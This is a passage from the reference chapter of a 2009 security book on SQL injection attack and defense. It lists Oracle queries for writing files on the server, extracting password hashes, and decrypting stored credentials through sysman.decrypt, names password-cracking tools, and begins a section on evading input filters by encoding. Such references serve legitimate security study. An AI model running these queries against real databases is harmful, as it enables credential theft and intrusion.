SQL Injection Attacks and Defense - 2009

440 Chapter 10 • References
UTL_FILE.fclose(fi);
END;
/
Writing Local Files: dbms_advisor (Oracle 10g and later)
create directory MYDIR as 'C:\';
exec SYS.DBMS_ADVISOR.CREATE_FILE ( 'This is the content'||chr(13)||'Next line',
'MYDIR', 'myfile.txt');
Cracking Database Passwords
Depending on the version of the database, you can extract password hashes from the database
by executing one of the following queries:
SELECT name, password FROM sys.user$ where type#>0 and length(password)=16;
-- DES Hashes (7-11g)
SELECT name, spare4 FROM sys.user$ where type#>0 and length(spare4)=62;
-- SHA1 Hashes
More than 100 Oracle tables (depending on the installed components) contain password
information. Sometimes the passwords are available as clear text. The following examples will
attempt to extract clear-text passwords:
select view_username, sysman.decrypt(view_password) from
sysman.mgmt_view_user_credentials;
select credential_set_column, sysman.decrypt(credential_value) from
sysman.mgmt_credentials2;
select sysman.decrypt(aru_username), sysman.decrypt(aru_password) from
sysman.mgmt_aru_credentials;
Oracle password hashes can then be cracked using a variety of freely available tools, such
as Woraauthbf, John the Ripper, Gsauditor, Checkpwd, and Cain & Abel. See the resources
section at the end of this chapter for links to download each tool.
Bypassing Input Validation Filters
You frequently can bypass input validation filters that rely on rejecting known bad characters
and string literals by encoding your input. This section provides a reference of the most
common encoding techniques used to bypass input validation filters that operate in this way.
Quote Filters
The single-quote character (‘) is synonymous with SQL injection attacks. As such, the singlequote
character is often filtered or doubled up as a defense mechanism. The idea behind this
approach is to prevent the attacker from breaking out of quote-delimited data. Unfortunately,
this strategy fails when the vulnerable user input is a numeric value, and therefore is not
delimited using quote characters.